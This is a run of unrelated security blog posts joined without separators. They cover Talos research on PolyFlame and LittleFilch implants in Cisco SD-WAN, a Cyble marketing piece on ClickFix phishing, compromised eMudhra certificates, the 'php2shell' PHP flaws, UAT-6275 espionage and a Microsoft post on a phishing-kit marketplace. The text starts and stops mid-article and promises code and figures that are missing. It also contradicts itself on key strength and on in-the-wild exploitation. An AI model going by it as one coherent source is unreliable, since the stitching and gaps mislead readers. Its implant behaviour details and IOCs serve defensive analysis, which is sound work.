Recovered conf_sshd logic uses the same control flow across reviewed samples:

Runit launchers

The observed sshd runit launcher preserves normal Cisco SD-WAN sshd startup logic while adding two malicious lines before service execution, which remount “/rootfs.rw” executable and background execution of conf_sshd, which then drives rsshd injection into vdaemon.

The recovered aaamgr runit launcher from an affected vBond appliance uses a parallel service-wrapper pattern, but it executes the packed aaamgrd PolyFlame loader directly. The deletion of the writable-overlay PAM configurations for sshd and login before remounting “/rootfs.rw” executable if part of the legitimate script, along with the invocation of the aaamgrd daemon via Python:

PolyFlame

PolyFlame is the primary operational module in the KeyDrift framework. PolyFlame operates at the socket and DTLS control-plane layer. PolyFlame serves two primary purposes:

• Command execution via a TinyShell-styled backdoor
• Intermediate C2 that can forward commands to and from the C2 to other peers

PolyFlame is primarily injected into the vdaemon process, providing operational obfuscation and access to all in-process state: DTLS session keys, vEdge topology, OMP routes, and policy tables. No hardcoded IPv4 addresses, binding ports, callback domains, URLs, host headers, or polling interval were recovered from the analyzed PolyFlame samples. PolyFlame is designed for in-band control or tasking over Cisco SD-WAN control-plane traffic rather than a conventional fixed external beacon.

This implant is meant to serve as a hook of the recvfrom() API call. The original recvfrom is replaced by a malicious subroutine in the vdaemon process. When recvfrom is called in the vdaemon process, the malicious subroutine will first execute the real/legitimate recvfrom() API to obtain the C2 IP address info for communicating with it in the future.

PolyFlame’s time check

The recvd data from the C2 consists of the MD5 value of a specific DATE. PolyFlame will calculate the local time on the device in format “%Y-%m-%d" and calculate its MD5 hash. If the MD5 calculated by the device does not match with the one sent by the C2, the implant will stop further execution. Otherwise, the implant then uses an “administrative code” from the C2 and performs an action.

PolyFlame’s tasking

PolyFlame contains an administrative mode that processes the admin code sent by the C2, that defines operations — it's one of the first flags checked in the backdoor:

• Code = 1: Generate random bytes and send to C2. This is likely a check-in beacon or heartbeat for the C2.
• Code = 2: Set implant type to backdoor (TinyShell) or intermediate C2.
• Code = 3: Set up the command handler for the intermediate C2.
• Any other code value: Check the implant type flag currently set. Based on the implant type flag, either send the accompanying data to TinyShell or the intermediate C2 component for processing.

PolyFlame’s command execution

PolyFlame contains a backdoor that matches the capabilities of TinyShell: file read, file write, and arbitrary command execution, but not interactive shell. This backdoor component’s implementation is quite similar to TinyShell, but the command codes differ. PolyFlame handles the following command codes:

• Code = 0x100: Execute command using “/bin/sh -c <command>”
• Code = 0x200: Write file to disk.
• Code = 0x300: Read file from disk and send to the C2.

PolyFlame as an intermediate C2 component

The intermediate C2 component is a one-to-many handler (somewhat like a one-to-many multiplexer) — meaning the implant can connect to only one C2 but can connect to many peers who can be served by the intermediate C2 component. Similar to the TinyShell-backdoor component, the intermediate C2 component also accepts and processes specific command codes from the C2:

• Code = 0x403: Create a thread to connect to the specified peer IP. Make a new connection and keep socket alive until specified.
• Code = 0x404: Send data recvd from the C2 to a connected peer.
• Code = 0x405: Remove a peer from the list of active connections.
• Code = 0x407: Send a response recvd from a peer, back to the C2.
• Code = 0x408: Set a specific value in memory.

PolyFlame variant: aaamgrd

 Talos has observed a distinct PolyFlame variant that masquerades as the aaamgr service. The legitimate Cisco aaamgr component is a Python package; it does not normally appear as a compiled ELF runit service. This PolyFlame variant is executed by a malicious runit service under “/etc/sv/aaamgr/” with aaamgrd and a modified run launcher.

aaamgrd is a statically linked ELF64 executable with no section headers, a single RWE loader segment, and an RC4-encrypted embedded ELF payload. The loader uses direct syscalls including ptrace, fork, wait4, kill, tgkill, mmap, and mprotect. It performs an anti-debug check by deobfuscating /proc/%d/status and TracerPid: and exits if a tracer is present.

The observed staging sequence was:

Figure 4. PolyFlame staging sequence.

Note that in addition to the implant execution staging, there are also indications of timestomping.

LittleFilch: libcommon.so TLS interception module

LittleFilch is a control-session interception module positioned to collect data-plane keying material from control sessions visible to the injected vSmart process.

LittleFilch installs an SSL_read hook inside vdaemon. The hook calls the original SSL_read, then processes returned buffers only when the returned size is greater than 0x18F, the first decrypted byte is 0x07, and three marker patterns are checked for presence. These marker bytes are followed by the actual artifacts that LittleFilch aims to record:

LittleFilch records the extracted keying material and RSA-encrypts it before writing the output to “/var/tmp/vdaemon.bin”. It can then send the encrypted content over UDP in a DTLS 1.2 application-data style record.

LittleFilch expects its configuration file — located at “/var/tmp/vdaemon.conf” —  to contain two host port lines: one local bind IP/port and one remote destination IP/port. It deletes “/var/tmp/vdaemon.conf” after reading it. Talos has not been able to recover the “vdaemon.conf” file.

KeyDrift components

MITRE ATT&CK techniques 

Recommendations

Cisco has released patches for CVE-2026-20127 and published a hardening guide for Cisco Catalyst SD-WAN deployments available here. Organizations are strongly advised to prioritize the application of these patches and follow the guidance provided.

Following the identification of UAT-11473 activity, Talos strongly recommends that organizations monitor their systems for indicators of post-compromise activity. Should any signs of unauthorized activity be detected, organizations should immediately activate their incident response frameworks. Contact the Cisco Technical Assistance Center (TAC) for support by initiating a TAC request.

Coverage

Snort SIDs are already available for CVE-2026-20127: 65938, 65958.

Snort SIDs for the malicious artifacts illustrated in this blog:

• Snort v2: 67387 through 67416
• Snort v3: 7:44 through 7:73

Booking.com's systems were never breached. Its name was. Storm-1865 spent months borrowing Booking.com's identity to get into hotel computers, and every step of that borrowing left traces on the open internet. 

The open internet is exactly where Cyble Brand Intelligence & Protection works. Walk through the campaign one step at a time, and at each step there is a point where it could have spotted the attacker, cut the attack short or limited the damage. 

What happened 

From December 2024, a group Microsoft tracks as Storm-1865 posed as Booking.com to target hotel and hospitality staff across North America, Europe, Oceania and South and Southeast Asia. Microsoft Threat Intelligence published its findings on March 13, 2025, and said the campaign was still running as of February 2025. 

The attack had four moving parts: 

• The lure. Emails styled as Booking.com messages about negative guest reviews, guest enquiries, promotion offers or account verification. 

• The landing page. A link, sometimes inside a PDF, opened a fake CAPTCHA laid over a faint copy of a real Booking.com page. 

• The trick. The "verification" told staff to open the Windows Run box and paste a command the page had already copied to their clipboard. 

• The payload. That command used mshta.exe to pull commodity malware, including XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot and NetSupport RAT, all built to steal credentials and payment data. 

This was not a one-off. Microsoft says Storm-1865 targeted Booking.com guests in 2023 and e-commerce buyers in 2024 before adding ClickFix. Booking.com told Infosecurity Magazine its own systems were not breached, but some accommodation partners and customers were hit. 

Why the impersonated brand holds the first move 

Booking.com could not install security software on the laptops of its accommodation partners. What it could reach was the attacker's infrastructure copying its brand, and that infrastructure was detectable. Microsoft's own email security flagged URLs in this campaign as impersonating booking.com. 

The stakes are high. The US Federal Trade Commission says people reported losing nearly $1 billion to business impersonators in 2025, out of $3.5 billion lost to imposter scams overall. Every copy of a brand caught early is one fewer victim. 

Five steps, five chances to step in 

Storm-1865 needed Booking.com's credibility at every stage of the attack. Here is each stage, and how Cyble Brand Intelligence & Protection could have helped at it. 

Step 1: Pick a trusted brand and a target list 

What the attacker did. Storm-1865 was a repeat player. Microsoft says it went after Booking.com guests in 2023 and e-commerce buyers in 2024, then turned to hotel staff most likely to work with Booking.com. 

How Cyble could have helped. Cyble's in-house brand team and OSINT surveillance track brand mentions and the actors who keep returning to a brand. A known playbook becomes a set of watch-list rules, so the next wave is expected rather than discovered after the fact. 

Step 2: Register the infrastructure 

What the attacker did. The campaign needed domains and URLs to host its fake pages. Microsoft flagged some of them as matching a known malicious registrant pattern. 

How Cyble could have helped. Suspicious & Watch-Listed Domain monitoring tracks new registrations and DNS activity for typosquats, homoglyphs and lookalike domains, including AI-generated ones. A domain built to impersonate the brand can be flagged when it is registered, before it hosts a single page. 

Step 3: Build the fake Booking.com page 

What the attacker did. Victims landed on a fake CAPTCHA laid over a faint copy of a real Booking.com page. The familiar look was the point: it made a strange request feel routine. 

How Cyble could have helped. Phishing Detection finds sites impersonating the brand, and Watermarking Surveillance spots copied or mirrored brand assets, even on domains with no brand name in them. Automated Takedown then works to get confirmed pages removed. Every hotel that clicks after a takedown hits a dead link instead of a trap. 

Step 4: Send lures across regions 

What the attacker did. Emails and PDFs about negative reviews, guest requests, promotions and account checks went to hotels across North America, Europe, Oceania and Asia. Some came through vendor platforms and ordinary services such as Gmail and iCloud Mail. 

How Cyble could have helped. Multi-language NLP is built to catch phishing and impersonation attempts that are not in English, which matters for a campaign spread across this many markets. Lures that partners report can be handed to Cyble's brand team, traced to the live page behind them and queued for takedown. 

Step 5: Cash in on stolen credentials and payment data 

What the attacker did. Once a staff member pasted the command, malware such as XWorm, Lumma Stealer and VenomRAT went to work. Microsoft says every payload in the campaign could steal credentials and financial data for fraud. 

How Cyble could have helped. Stopping the pasted command itself is a job for endpoint and email controls. What Cyble adds is the aftermath: OSINT surveillance watches forums, blogs and paste sites for exposed credentials and data leaks tied to the brand. Spotting stolen partner logins early gives everyone time to reset access before fraud follows. 

This walkthrough maps public research to Cyble's capabilities. It is not a claim that Cyble took part in the response to this campaign. 

Strongest alongside your other defenses 

Brand intelligence works outside your network, so it pairs naturally with what runs inside it. When a lure arrives from an ordinary Gmail or iCloud address, there is no fake sender domain to flag, so the landing page becomes the asset to hunt. And if someone does run the pasted command, email filtering, endpoint detection, script controls and phishing-resistant MFA, the mitigations Microsoft recommends, do the stopping. Brand intelligence makes sure far fewer people ever reach that moment. 

Is your brand the next Target? Six questions to ask 

Any brand that sits between businesses and their customers can be borrowed the same way: travel platforms, marketplaces, payment providers, logistics firms and SaaS vendors. Ask your team: 

1. Do we know which of our emails, notices and portal pages are most copied by attackers? 

2. Are we alerted when a domain containing our name, or a homoglyph of it, is registered? 

3. Can we spot a cloned page even when it sits on an unrelated domain or free hosting? 

4. How long does it take us to get a confirmed phishing page taken down? 

5. Do our partners know how to report a suspicious message that uses our name? 

6. Do we watch criminal forums and channels for kits or templates built around our brand? 

If more than two answers are "no" or "not sure," the attacker's preparation phase is happening without anyone watching. 

The takeaway 

Look back at the five steps and a pattern stands out. Storm-1865 needed Booking.com's credibility at every one of them, and every one left a trace outside the victims' networks. 

With Cyble Brand Intelligence & Protection watching, each trace becomes a chance to step in: a repeat actor on the watch list, a lookalike domain flagged at registration, a cloned page taken down, a lure traced to its source, a leaked login caught early. If your partners and customers trust your name, Cyble helps make sure nobody else gets to use it. 

See how it works for your brand: request a personalized demo. 

References 

• Microsoft Threat Intelligence, Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware, March 13, 2025 

• Infosecurity Magazine, 'ClickFix' Phishing Scam Impersonates Booking.com to Target Hospitality (includes Booking.com statement) 

• US Federal Trade Commission, 2025 imposter scam data release, June 2026 

• Cyble, Brand Intelligence & Protection datasheet v1.1, August 2026 

Disclaimer: The data and content written in this blog is based on on open web information available. Analysts and researchers are advised to confirm once again from original sources.

The post Know How Cyble Brand Intelligence Can Help Stop ClickFix Campaigns in its Tracks appeared first on Cyble.

Cisco Talos is aware of eight compromised intermediate certificates belonging to the intermediate certificate authority, eMudhra. Rather than possessing the mandatory 384 bits of pseudo-random security, several private keys evaluated single-digit and double-digit integers. This misconfiguration allows an attacker with the private key of any of the compromised intermediate CAs to impersonate any website or service. Six of the TLS certificates, trusted by Chrome, Mozilla, and Apple have been blocked by these vendors already. Two other certificates, used for codesigning by Microsoft, have also been blocked. Talos expects there will be additional patches available across a variety of technologies as software applications work to remediate the certificates’ exposure.

Following the disclosure, eMudhra has revoked the compromised certificates and stopped issuing new certificates under its G3 root.

Compromise details

The cause of this issue, originated during an April 30, 2025 key generation activity conducted by eMudhra under its emSign Root TLS CA - G3 and cross-signed Comodo AAA Certificate Services.  During a key generation ceremony for 24 subordinate CAs, a flaw in eMudhra’s key generation process created a second set of weak P-384 keys during a wrap/unwrap step. Those keys were mistakenly used for eight intermediate CA certificates. This flaw took the encryption from 384 bytes of entropy down to 3 – 8, making recovering the private keys trivial. The following are the impacted certificates, as illustrated in Mozilla’s bug report:

EM EV TLS CA - G3B (eMudhra BV), CCADB A012304
SHA-256 E7568FE6E12331F4FD7DE61DA4C7559D0F8EB192A218D4741A3BA75184333838
serial c7c41efe92d825f05eae841a4a82c1, issuer emSign Root TLS CA - G3

EM OV TLS CA - G3B (eMudhra BV), CCADB A012308
SHA-256 98B896625C0C230ADEEC3EB2CF6AAD5001ECF9156A68644E82374CE5833BC25B
serial 6cada367fb1c100088120ea202d568, issuer emSign Root TLS CA - G3

EM DV TLS CA - G3B (eMudhra BV), CCADB A012302
SHA-256 42C4ACCD12C4F59597925E1A08A7A90102608543809308D50EC427E118BA1493
serial a4aee678f23362b4c0e460b772f214, issuer emSign Root TLS CA - G3

EM EV TLS CA - G3C (eMudhra Inc), CCADB A012296
SHA-256 432EC25F0D28DE9006D97BF752F17BBB2CD41F669933FCB072D9A1148D0261F3
serial 8009928a64107601af05fa2f19f109, issuer emSign Root TLS CA - G3

EM OV TLS CA - G3C (eMudhra Inc), CCADB A012300
SHA-256 CB6E15165AC802E9B3F993F16C25D41F4E81C21EBDE71AE1B012AC00BF9C7C3F
serial 296926c227a3a1526392b19482a504, issuer emSign Root TLS CA - G3

EM DV TLS CA - G3C (eMudhra Inc), CCADB A012294
SHA-256 0164D7CEAE5BB909C272AF151FF44B1177AE9B47D9424B94F1D9558C30934D19
serial 588b2e3c2bb8cda13e1a1209254321, issuer emSign Root TLS CA - G3

EM OV CS CA - G3B (eMudhra BV), CCADB A012306
SHA-256 9E39DE2881273ACC225A149C72BA3E0F51424963669AB633EE1DC7DF5DB067B4
serial 7818933f8f85b4619a2b35fba83d0a, issuer emSign Root CS CA - G3

EM OV CS CA - G3C (eMudhra Inc), CCADB A012298
SHA-256 4B2460A466F95FD40113BCDCCA2CEB29B3B093921DE45474DA7DF48874C630B1
serial 544b7f922c31ae220a4a922916f6e6, issuer emSign Root CS CA - G3

CVE-2026-111943 

Unlike languages that defer entirely to external dynamic system libraries (like OpenSSL), the Go programming runtime implements its own X.509 chain verification engine in the standard library (crypto/x509). While Go usually queries platform certificates, several platforms or static container environments rely on embedded or legacy root certificate pools where certificate revocations are ignored. 

To eliminate exploitation across the entire cloud-native ecosystem including Docker, Kubernetes, Terraform, and Prometheus, the Go team designated the compromised certificates as a vulnerability, CVE-2026-111943, and released Go versions 1.27.3 and 1.26.10. 

 The fixed versions filter out chains containingthe SHA-256 hashes of the SubjectPublicKeyInfo (SPKI) for all eight compromised eMudhra intermediate certificates.

Impact

These compromised certificates could allow adversaries to impersonate servers and intercept or modify traffic. The impact of their exposure is far more than just web browsers. Other programs that check for TLS certificates might still be impacted since they may not check revocation lists. One clear example is related to virtual private networks (VPNs); these technologies will likely require software updates to mitigate the issue. Based on this guidance, Talos strongly recommends users update software using and handling TLS certificates as fixes become available.

Talos is actively monitoring the impact of these compromised certificates and has not seen any malicious incidents involving them in the wild yet (as of October 21, 2026 14:00 UTC / 10:00 a.m. ET).

Significance of this breach  

Public key infrastructure relies on trust being delegated through certificate chains: root CAs authorize intermediate CAs, which can issue certificates within the scope of their authority. An attacker who obtains an intermediate CA’s private key may be able to issue fraudulent certificates that clients accept, subject to the intermediate certificate’s constraints and each client’s validation controls. In this incident, six compromised intermediates were for TLS and two were for code signing.

 For TLS, an attacker able to intercept or redirect a connection could use a fraudulent certificate to impersonate a server and potentially read or modify traffic if the client still trusts the affected key and no applicable protection blocks it. Protections such as revocation, key distrust, certificate transparency enforcement, and certificate pinning can prevent or expose such an attack. Browser vendors have blocked the affected TLS keys, but other applications may rely on separate trust stores or validation paths:

Enterprise infrastructure and VPNs

Organizations should assess TLS-using software and appliances, including proxies, reverse load balancers, VPN clients, and gateways. Exposure depends on the certificate chain being validated and the trust store and revocation behavior in use. A stale or separately managed trust store may need an application, operating-system, firmware, or trust-bundle update; verify the required action for each product.

Software supply chains and CI/CD

Build runners and package managers may be exposed if they fetch content over TLS while still trusting an affected key and an attacker can intercept the connection. A fraudulent TLS certificate could enable registry impersonation, but it would not by itself bypass separate package integrity checks, such as lockfile hashes, checksums, signatures, or provenance controls. Assess the actual package-manager configuration and dependency path.

Industrial IoT and embedded systems

Review devices that use bundled or independently managed CA stores, especially where certificate revocation or trust-store updates may be limited. Some devices may require a vendor update or compensating control, but the necessary action depends on each device’s validation and update mechanisms.

Talos recommends updating affected software and trust stores as vendor fixes become available.

Coverage

The following SNORT® SIDs provide coverage for this threat: 67363 - 67374.

Talos would like to highlight the efforts of Chris Morrison for providing emergency coverage and mitigations for this threat.

Update 10/22: Added section detailing observations of in the wild exploitation and associated IOCs.

Cisco Talos is tracking the disclosure of two unauthenticated remote code execution (RCE) flaws in PHP core, dubbed “php2shell”, triggered by a plain HTTP request and exploitable before any application code runs, affecting every PHP build since 5.4. Based on the entities involved in the disclosure, artificial intelligence and associated technologies played a key role in the discovery of these vulnerabilities — yet another example of how these technologies are forcing change across the landscape, most notably on patching processes for organizations because of the wave of vulnerabilities being disclosed. 

Cisco customers are covered with the Cisco Talos Network Intrusion Prevention (SNORT®) signatures 67359, 67360, and 67375. These rules are also available in the Community Ruleset for open-source customers. Splunk Enterprise Security customers have an Enterprise Security Content Update with detections available. Please refer to the following recommendations, detection, and coverage guidance for more information.

Details

CVE-2026-109618 and CVE-2026-109619 are both critical vulnerabilities with a CVSS v4.0 score of 9.2.

• CVE-2026-109618 occurs when out-of-memory handling interrupts PHP while internal request data is only partially initialized. Request cleanup may then treat invalid data as valid.
• CVE-2026-109619 occurs when a stale internal state is reused after its backing memory has already been freed, before normal initialization resets it.

Impact

The potential blast radius is enormous and extends across the PHP ecosystem. The vulnerability sits in PHP core, so applications running affected versions — including WordPress, Drupal, Magento, Shopware, WooCommerce, and Laravel, plus PHP sites hosted through cPanel or Plesk — may be exposed. Note that many older branches will no longer receive fixes, so customers are urged to upgrade to a supported version as soon as possible.

Talos regularly investigates threat actor exploitation of vulnerabilities. State-sponsored and affiliated threat actors, as well as ransomware and other financially motivated groups, all employ tactics to exploit RCE. Talos assesses that all industries running PHP applications are at risk for exploitation if systems remain unpatched.

PHP 8.1 and older are end of life (EOL), and PHP 8.2 security support ends Dec. 31, 2026. Talos’ initial estimates based on open-source intelligence show a significant corpus of PHP systems that will not receive a patch (~50%). If your organization is running PHP 8.1 or older, Talos very strongly advises immediate update to PHP 8.2 or later. There is no patch for PHP 8.1 or older.

Talos is actively monitoring the impact of these CVEs and has not seen them being exploited in the wild yet (as of October 21, 2026 14:00 UTC/10:00 a.m. ET).

Observed Exploitation 

Cisco Talos began observing exploitation attempts within hours of the vulnerabilities’ disclosure. So far, most of the activity is scanning, along with some uncoordinated attempts to deliver various payloads. This is expected: scanning or basic exploitation with public proof-of-concept (PoC) code takes far less effort than integrating a vulnerability into an actor’s own tooling. We expect exploitation volume to grow in the coming days, and campaigns to become more sophisticated and coordinated as more capable groups finish updating their tooling and begin deploying it. 

Recommendations and detection guidance

Talos strongly recommends all PHP users to upgrade to the available fixed releases. There are no intermediate or temporary controls that provide comprehensive protection; however, PHP advises that the following measure may reduce exposure to specific attack paths:

CVE-2026-109618

• Set memory_limit=-1, preferably in a way applications can't override, such as php_admin_value in the FPM pool or Apache configuration, and check that no pool, directory or application setting puts a finite limit back. This removes the controllable PHP memory limit failure, but an underlying allocation failure can still reach the vulnerable path.
• Set a low post_max_size. For applications that don't require file uploads, set post_max_size = 8M. If file uploads are necessary, set post_max_size = 32M. Keep upload_max_filesize below post_max_size. Consider enforcing limits at the web server or proxy level for decoded request size, input field count, multipart part count, header count, and nesting depth. These limits must also cover requests without a usable Content-Length.
• Use a container or cgroup limit as an availability boundary, preferably with a policy that kills only the affected worker. Do not substitute RLIMIT_AS or RLIMIT_DATA, as these can cause the vulnerable allocation failure.

CVE-2026-109619

• Set session.upload_progress.enabled=0 and restart every worker. Use php.ini, an FPM pool, or server configuration that applies before request parsing. Do not rely on ini_set() or FPM .user.ini. This blocks the confirmed session paths but not other variants.
• On PHP 8.5, set fatal_error_backtraces=0 and restart every worker. This blocks the confirmed fatal backtrace path only.
• Remove invalid or deprecated settings applied per request that emit diagnostics before initialization. Hiding diagnostics with error_reporting, display_errors, or @ does not help.
• Fix attacker-reachable fatal errors and execution timeouts, including failures in callbacks, upload or import processing, and cleanup.

This is another vulnerability that owes its discovery to AI and its associated technologies. As we move through 2026, the wave of vulnerabilities and related patches is building. Talos advises organizations to work on a triaged process for prioritizing vulnerabilities with a specific focus on public-facing systems and vulnerabilities that are under active exploitation. The glaring need to prioritize vulnerabilities along with a streamlined process for rolling out patching strongly indicates that the historic trend of “baking in” patches before deployment is not going to survive the AI era.

The true impact of this vulnerability will take time to evaluate. These types of vulnerabilities that impact core technologies tend to cascade into other platforms and applications as they evaluate impact and provide associated patching, harkening back to the waves of exploitation that we saw after Log4J.

Coverage

SNORT® SIDs covering these vulnerabilities for subscribers: 67359, 67360, 67375. Free community rules are live through our Community Ruleset.

Splunk has released an Enterprise Security Content Update (ESCU) related to the ongoing PHP2Shell activity with additional detections. Splunk Enterprise Security customers are urged to download and apply.

Talos would like to highlight the efforts of Ankur Tyagi, Dalton Schaadt, Brandon Stultz, and Matt Killion for providing emergency coverage and mitigations for these threats.

In this video, Talos’ Nick Biasini explains what the vulnerabilities allow adversaries to do, how to assess your exposure, and what defenders should prioritize.

Indicators of Compromise (IoCs) 

5.191.140[.]240 
158.69.113[.]75 
94.154.43[.]149 
143.246.223[.]124 
45.198.224[.]169 
85.11.167[.]243 

This research was conducted jointly with Julian-Ferdinand Vögele of Recorded Future’s Insikt Group. Details of the joint research and presentation are available here.

• Cisco Talos identified UAT-6275 (TAG-193 by Recorded Future) activity targeting government organizations across the Commonwealth of Independent States (CIS). Recovered artifacts show additional interest in water resources and energy. This focus is consistent with intelligence collection and may reflect the regional effects of the Russia–Ukraine war. 
• In activity observed from June 2025 through August 2026, Talos identified four infection-chain types that use macro-enabled documents, PS2EXE downloaders, GitHub-hosted PowerShell, and a crafted WinRAR archive exploiting CVE-2025-8088. The recovered payloads include several custom reverse shells that provide interactive remote access. 
• Three publicly accessible staging directories and GitHub repository history exposed payload builds, tool inventories, and changes to command-and-control (C2) infrastructure. These operational security lapses gave us direct visibility into the group's recent activity. 
• The files recovered from the exposed infrastructure suggest preparation for post-compromise operations and potential activity against Linux hosts and internet-facing appliances.  
• Talos assesses with medium confidence that UAT-6275 has a Kazakhstan nexus, based on infrastructure access, language artifacts, sample submissions, working hours analysis, and regional targeting interests.

Background 

Cisco Talos and Recorded Future Insikt Group jointly investigated UAT-6275 activity targeting government organizations across the Commonwealth of Independent States (CIS). The investigation uncovered three publicly accessible staging directories and a previously unreported GitHub repository used to host malicious scripts and payloads. These exposed assets provided visibility into the threat actor's malware development, infrastructure changes and preparations for additional intrusion activity. 

Talos tracks this activity as UAT-6275, while Recorded Future tracks it as TAG-193. It overlaps with Silent Lynx (first reported by Seqrite) and sits within a broader set of campaigns connected to YoroTrooper, which we first reported in 2023. Subsequent research on Tomiris (Kaspersky), ShadowSilk (Group-IB), Cavalry Werewolf (BI.ZONE), and Hydra Saiga (VMRay) identified overlapping indicators across these reported clusters. We assess that UAT-6275 and YoroTrooper likely belong to the same broader activity cluster. However, we continue to track them separately because we have not observed direct indicator or toolset overlap between the two.

This post summarizes our joint Virus Bulletin 2026 white paper, “Break the silence: tracking Silent Lynx through exposed infrastructure” which contains the full technical analysis and indicators of compromise (IOCs).

Victimology 

UAT-6275's targeting is concentrated in Central Asia and the wider CIS region. Across the reviewed campaigns, observed victims and lure themes span nine countries: Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan, Uzbekistan, Armenia, Azerbaijan, Russia, and Belarus.

Government and diplomatic affairs 

UAT-6275 targets government institutions responsible for diplomacy, economic development, agriculture, and environmental management. These organizations hold information that can inform bilateral negotiations, economic planning, and regional security decisions.

Our network flow analysis identified activity involving a Tajik government entity shortly after treaty discussions with Kazakhstan in March 2026 and a Belarusian government entity ahead of a bilateral meeting in April. This timing may indicate an interest in regional diplomatic developments.

The decoy documents we recovered also suggest an interest in diplomatic relations, international trade, and aviation. Examples include a diplomatic letter addressed to Armenia’s Ministry of Foreign Affairs.

Water security and resource management 

The group’s interest in regional resources spans environmental management and energy. Talos observed activity involving an Armenian government entity responsible for environmental matters and Uzbekistan’s Smart Forestry initiative, consistent with earlier reporting on Silent Lynx targeting water resource organizations across Central Asia. 

Energy-themed decoys included a cooperation proposal between Turkmenistan’s state oil company, Turkmennebit, and Russia’s Orsk Oil Refinery, used in an August 2025 sample. The refinery supplies petroleum products to Kazakhstan and later shut down after a Ukrainian drone strike in August 2026, with repairs expected to take up to six months. These ties suggest a possible intelligence interest in regional fuel supplies and the war’s implications for Kazakhstan’s energy security.

Campaign timeline 

Since Seqrite first reported Silent Lynx in January 2025, we have identified at least eight campaigns across the region through May 2026. These include malware delivery targeting Russia, Turkmenistan, and Uzbekistan; a credential-harvesting site impersonating Azerbaijan’s State Agency for Public Service; and lures referencing the China–Central Asia Summit and Russian energy infrastructure. In 2026, we also observed activity involving government entities in Tajikistan, Armenia, and Belarus, as well as Uzbekistan’s Smart Forestry initiative in May. 

Infrastructure and malware delivery 

Talos identified three publicly accessible staging directories containing malware and tools of UAT-6275. One sample led to the previously unreported GitHub repository, where the group hosted PowerShell scripts and payloads. Its commit history allowed us to track infrastructure changes and malware development.

The group relies on lightweight reverse shells, including Chvost, Laplas, and PickleShell, to issue commands on compromised systems.

We also recovered Linux-compatible tooling and a publicly available proof-of-concept exploit for FortiWeb CVE-2025-25257 from UAT-6275 infrastructure. These findings suggest interest in expanding the group’s operational capabilities. 

Four infection chains 

UAT-6275 used malicious documents, executable downloaders, and shortcuts to deliver malware, and later incorporated a WinRAR exploit. Talos categorized the recovered samples into four infection chains, A – D, based on how they retrieve and execute their payloads.

The first Chain A samples, observed in June 2025, used macro-enabled Word documents to download and execute a second-stage binary. In July 2025, we observed Chain B downloaders built with PS2EXE, a tool that packages PowerShell scripts as standalone Windows executables. These downloaders retrieved reverse-shell payloads and created scheduled tasks for persistence. 

We first observed Chain C in October 2025. A malicious shortcut launches PowerShell to retrieve and execute a GitHub-hosted script that provides remote shell access. Later samples also downloaded PickleShell and placed it in the Windows Startup folder for persistence.

In April 2026, we identified a RAR archive that exploited CVE-2025-8088 in WinRAR to place PickleShell in the Windows Startup folder (Chain D). The payload runs at the next user sign-in. This was the first vulnerability exploit we observed in UAT-6275’s malware delivery.

Kazakhstan nexus assessment 

Talos assesses with medium confidence that UAT-6275 has a Kazakhstan nexus. Supporting evidence includes Russian-language artifacts, apparent malware-testing submissions from Kazakhstan shortly after compilation, and operator activity consistent with UTC+5 working hours.

Looking ahead 

UAT-6275’s sustained activity and adoption of new delivery techniques suggest the group will continue pursuing access to government organizations across Central Asia and the CIS. Its interest in environmental agencies, economic ministries, and energy infrastructure reflects the intelligence value of regional diplomacy and resource management. 

Defenders in these sectors should monitor unexpected PowerShell activity and payload downloads from public services such as GitHub, alongside scheduled tasks and Startup-folder changes. Keeping archive utilities patched can help reduce exposure to the exploit-assisted delivery observed in this campaign. 

For further details on this research and our accompanying presentation, see “Break the Silence: Tracking Silent Lynx Through Exposed Infrastructure” on Virus Bulletin’s website, as well as Recorded Future’s related blog post.

Coverage 

The following ClamAV signatures detect and block this threat: 

• Win.Backdoor.PickleShell-10060602-0 
• Win.Backdoor.Chvost-10060603-0 
• Win.Malware.Generic-10060604-0 
• Win.Malware.LAPLAS-10060605-0 
• Win.Malware.LAPLAS-10060606-0 
• Win.Proxy.Generic-10060628-0 

The following Snort rules cover this threat: 

• Snort 2: 1:11192, 1:15306, 1:46983, 1:47398 
• Snort 3: 1:46983, 4:16 

IOCs

IOCs for this research can be found at our GitHub repository here. 

Over the past year, Microsoft uncovered a Chinese-language cybercriminal ecosystem, an interconnected network of phishing kit operators, developers, and an illicit marketplace selling tools and infrastructure for large-scale phishing, enabling cybercriminal operations worldwide.

Threat actors purchased and used these tools and infrastructure, including phishing kits and access to compromised or fraudulent Microsoft or Google cloud environments and related credentials, to target organizations across the healthcare, financial services, wholesale distribution, and information technology (IT) sectors in Japan, the United States, Australia, and India. In collaboration with law enforcement agencies and other partners worldwide, Microsoft’s Digital Crimes Unit (DCU) facilitated a disruption of the ecosystem’s primary developers and infrastructure.

Microsoft’s research into one phishing kit unraveled a larger ecosystem, including the phishing kit developers, an infrastructure dealer, and the threat actors who buy from both. In this blog, we examine several phishing kits marketed and sold through YAM Store, an underground marketplace tracked by Microsoft as Storm-3119. We share our analysis of the technical aspects of this Chinese-language phishing kit ecosystem, the shared infrastructure, provisioning methods, and downstream activity by threat actors using these tools.

Uncovering the shadow world of a phishing kit ecosystem

Microsoft, alongside industry partner Resecurity, identified three phishing kits sold through the YAM Store that make up this Chinese-language cybercriminal network: CoGUI (also known as NX or FA), Haozi (also known as Phoenix), and Iron Man System. Microsoft tracks the cluster of activity and the developers behind all three phishing kits as Storm-2990. Since January 2026, the threat actors behind these kits have been responsible for facilitating the sending of over one billion phishing emails and SMS messages to over 75 thousand organizations worldwide.

Microsoft assesses with high confidence that these phishing kits were developed by Chinese-speaking threat actors, and, despite their distinct branding and separate Telegram-based sales channels, exhibit highly similar capabilities and functionality. The phishing kits provide phishing templates impersonating legitimate brands and organizations (including government, financial, and logistics) worldwide, and enable criminal actors to facilitate high-volume phishing and credential stealing operations. The similarity in their infrastructure and overlap in activity suggest either shared development origins, code reuse, or close collaboration among their developers.

These phishing kits have been advertised through YAM Store, first CoGUI and Haozi, followed by Iron Man System starting in June 2026. YAM Store and affiliated phishing kit companies accepted payments through cryptocurrency, including USDT and Ethereum, adding another layer to conceal illicit activity. The scale and proliferation of this ecosystem demonstrate how readily available criminal infrastructure can lower the barrier to entry, enabling less skilled cybercriminals to target organizations at scale and contribute to fraud losses.

By mapping the relationship between YAM Store and these phishing kits, we provide insight into the commercial infrastructure that supports modern phishing operations.

Storm-3119: YAM Store, the power broker

